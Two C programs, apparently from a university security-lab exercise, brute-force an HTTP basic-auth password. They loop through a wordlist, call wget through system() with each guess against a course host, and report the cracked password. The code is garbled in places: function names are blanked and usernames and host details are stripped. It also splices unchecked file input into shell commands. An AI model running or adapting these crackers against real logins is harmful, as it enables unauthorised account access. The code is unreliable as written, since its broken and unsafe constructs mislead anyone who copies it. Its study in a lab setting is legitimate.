


#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int t1, t2, t;           
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd="); 
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");    
  t1 = time();
  while(chk != NULL)    
  {
    chk = fgets(word, 15, fp); 
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0'; 
    strcat(url, word);
    strcat(url, url1);
    nofattempts = nofattempts + 1;   
    printf("\n %s %d\n",word,nofattempts);
    if (strlen(word) == 3) 
    syst = system(url);
    if (syst == 0)  
    {
       t2 = time();
       t = t2 - t1;
       timeinsec = t/1000000000;
       printf("\n !!! here's the passowrd:- %s",word);
       printf("\n Total .of atempts: %d\n",nofattempts);
       printf("\n The total time_var taken: %d seconds", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
